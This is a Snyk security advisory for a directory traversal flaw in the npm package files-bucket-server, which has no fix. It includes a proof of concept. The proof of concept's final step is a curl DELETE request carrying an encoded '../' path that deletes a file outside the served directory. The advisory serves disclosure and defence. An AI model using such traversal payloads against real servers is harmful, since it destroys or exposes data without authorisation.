Directory Traversal Affecting files-bucket-server package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Directory Traversal vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-FILESBUCKETSERVER-9510944
  • published22 Jul 2025
  • disclosed23 Mar 2025
  • creditLiran Tal

Introduced: 23 Mar 2025

CVE-2025-8021  (opens in a new tab)
CWE-22  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for files-bucket-server.

Overview

Affected versions of this package are vulnerable to Directory Traversal where an attacker can traverse the file system and access files outside of the intended directory.

PoC

  1. Install the files-bucket-server package: npm install files-bucket-server

  2. Create a new directory: mkdir private-files

  3. Add a file to the directory and also create a file outside in the root directory:

echo "This is a generic file, hello world" > private-files/hello.txt
echo "This is a secret file" > secret.txt
  1. Define a server.js file with the programmatic API of files-bucket-server that also restricts access to a specific directory (yet fails to do so):
var FileBucketServer = require('files-bucket-server');
var fBServer = new FileBucketServer('./private-files', { logsEnabled: true });

// Only allow local requests fBServer.onlyAllowLocalRequests();

// Start server fBServer.start().then(function (serverData) { console.log('Server is up at port: '+serverData.port); });

  1. Run the server: node server.js

  2. Access a file inside the directory to ensure everything is working as expected: curl "http://localhost:1024/files/hello.txt"

  3. Now, attempt to delete a file outside this directory using the RESTful API: curl -X DELETE "http://localhost:1024/api/files/%2e%2e%2fsecret.txt"

  4. The file secret.txt will be deleted, proving the path traversal vulnerability.

References

CVSS Base Scores

version 4.0
version 3.1